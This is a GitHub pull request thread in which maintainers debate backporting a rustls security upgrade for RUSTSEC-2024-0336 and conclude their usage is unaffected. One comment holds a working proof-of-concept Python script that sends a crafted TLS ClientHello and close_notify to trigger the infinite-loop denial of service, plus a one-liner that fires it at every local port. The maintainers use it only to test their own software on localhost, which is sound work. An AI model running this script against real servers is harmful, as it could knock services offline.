v1.17: chore: bump rustls to 0.21.11 (backport of #918)

[mergify]

Problem

solve the audit report

Crate:     rustls
Version:   0.21.10
Title:     `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input
Date:      2024-04-19
ID:        RUSTSEC-2024-0336
URL:       https://rustsec.org/advisories/RUSTSEC-2024-0336
Severity:  7.5 (high)
Solution:  Upgrade to >=0.23.5 OR >=0.22.4, <0.23.0 OR >=0.21.11, <0.22.0
Dependency tree:
rustls 0.21.10

---

This is an automatic backport of pull request #918 done by [Mergify](https://mergify.com).

[mergify]

Cherry-pick of a20e004 has failed:

On branch mergify/bp/v1.17/pr-918
Your branch is up to date with 'origin/v1.17'.

You are currently cherry-picking commit a20e004905.
  (fix conflicts and run "git cherry-pick --continue")
  (use "git cherry-pick --skip" to skip this patch)
  (use "git cherry-pick --abort" to cancel the cherry-pick operation)

Unmerged paths:
  (use "git add <file>..." to mark resolution)
	both modified:   Cargo.lock
	both modified:   Cargo.toml
	both modified:   programs/sbf/Cargo.lock

no changes added to commit (use "git add" and/or "git commit -a")

To fix up this pull request, you can check it out locally. See documentation: https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally

[codecov-commenter]

Codecov Report

All modified and coverable lines are covered by tests ✅

Project coverage is 81.6%. Comparing base (abdb271) to head (66e33e7).

Additional details and impacted files

@@            Coverage Diff            @@
##            v1.17     #930     +/-   ##
=========================================
- Coverage    81.6%    81.6%   -0.1%     
=========================================
  Files         806      806             
  Lines      219333   219349     +16     
=========================================
- Hits       179121   179068     -53     
- Misses      40212    40281     +69     

[yihau]

looks not quite good. rustls use some newer deps

[lijunwangs]

LGTM

[t-nelson]

why was this approved? it bumps two implicit dependencies in unclear ways

[yihau]

yeah. that's why I didn't tag 'automerge' haha. need more eyes on this one but It seems to be a necessary evil if we would like to upgrade rustls 😢

https://github.com/rustls/rustls/blob/v/0.21.11/rustls/Cargo.toml#L20

ring = "0.17"

[lijunwangs]

The other changes are due to the upgrade of the version of rustls, if you look at closely it is no different from what is used in master. This is the dependency tree:

│   │   │   │   │   │   │   ├── rustls v0.21.11
│   │   │   │   │   │   │   │   ├── log v0.4.20
│   │   │   │   │   │   │   │   ├── ring v0.17.3
│   │   │   │   │   │   │   │   │   ├── getrandom v0.2.10 (*)
│   │   │   │   │   │   │   │   │   └── untrusted v0.9.0
│   │   │   │   │   │   │   │   │   [build-dependencies]
│   │   │   │   │   │   │   │   │   └── cc v1.0.83 (*)
│   │   │   │   │   │   │   │   ├── rustls-webpki v0.101.7
│   │   │   │   │   │   │   │   │   ├── ring v0.17.3 (*)
│   │   │   │   │   │   │   │   │   └── untrusted v0.9.0
│   │   │   │   │   │   │   │   └── sct v0.7.0
│   │   │   │   │   │   │   │       ├── ring v0.16.20
│   │   │   │   │   │   │   │       │   └── untrusted v0.7.1
│   │   │   │   │   │   │   │       │   [build-dependencies]
│   │   │   │   │   │   │   │       │   └── cc v1.0.83 (*)
│   │   │   │   │   │   │   │       └── untrusted v0.7.1

This issue is blocking other v1.17 back ports

[t-nelson]

what's in master is untested. it is not a sufficient criteria for backports

[alessandrod]

https://rustsec.org/advisories/RUSTSEC-2024-0336

Only rustls users that call complete_io seem vulnerable. Quinn doesn't seem to call it: https://github.com/quinn-rs/quinn/blob/e1674feb929dfd054e07abea91b070bfdedf1785/quinn-proto/src/crypto/rustls.rs

I think we can probably silence this and move on.

EDIT: to expand a bit on my thinking:

complete_io seems to be something that based on connection state calls some methods. Quinn has a crypto abstraction, so it has that connection state tracking logic outside the rustls code and doesn't use complete_io.

[lijunwangs]

Quinn is not the only user of rustls. Cargo tree shows a lot of other dependencies.

[alessandrod]

Quinn is not the only user of rustls. Cargo tree shows a lot of other dependencies.

Yes, but where do we directly expose it to the internet? The quic endpoints and what else? RPC? RPC likely uses it though tokio which is not vulnerable according to the advisory. What else?

[lijunwangs]

I used the following to attack the ports:

netstat -plantu | grep agave | awk '{print $4}' | awk -F ":" '{print $2}' | xargs -L 1 -I {} python3 attack.py 127.0.0.1 {}

Have not seen any CPU spike; The attack tool: GHSA-6g7w-8wpp-frhj

Modified:

#!/usr/bin/env python3

import socket
import sys

sock = socket.socket()
sock.connect((sys.argv[1], int(sys.argv[2])))

print("Sending client hello...")

# Fake handshake data of a client hello message.
fake_handshake = """
1603 0100 c801 0000 c403 03ec 12dd
1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7
a051 f03c b817 470d 4c54 c5df 7200 001c
eaea c02b c02f c02c c030 cca9 cca8 c013
c014 009c 009d 002f 0035 000a 0100 007f
dada 0000 ff01 0001 0000 0000 1600 1400
0011 7777 772e 7769 6b69 7065 6469 612e
6f72 6700 1700 0000 2300 0000 0d00 1400
1204 0308 0404 0105 0308 0505 0108 0606
0102 0100 0500 0501 0000 0000 0012 0000
0010 000e 000c 0268 3208 6874 7470 2f31
2e31 7550 0000 000b 0002 0100 000a 000a
0008 1a1a 001d 0017 0018 1a1a 0001 00
"""


def parse_fake_handshake():
    i = 0
    data = bytearray()
    while i < len(fake_handshake):
        while i < len(fake_handshake) and fake_handshake[i].isspace():
            i += 1
        if i >= len(fake_handshake):
            return data

        c1 = fake_handshake[i]
        c2 = fake_handshake[i + 1]
        i += 2

        data.append(int(c1, 16) * 16 + int(c2, 16))
    return data


data = parse_fake_handshake()

print("Fake client hello:", data)

sock.send(data)

# Send close_notify alert that we're closing the connection.
close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])
print(f"close_notify is {close_data}")
sock.send(close_data)
print("close_notify sent")

exit(0)

[alessandrod]

socket.connect presumably does TCP tho?

[lijunwangs]

socket.connect presumably does TCP tho?

Yes. On UDP sockets, I got connection refused.

[t-nelson]

i think we can ignore it because all of our uses of rustls appear to be client-side and the vuln is against a server process.

deal?

[alessandrod]

i think we can ignore it because all of our uses of rustls appear to be client-side and the vuln is against a server process.
deal?

quinn is also server but unaffected so 🤝

[t-nelson]

closing in favor of #1016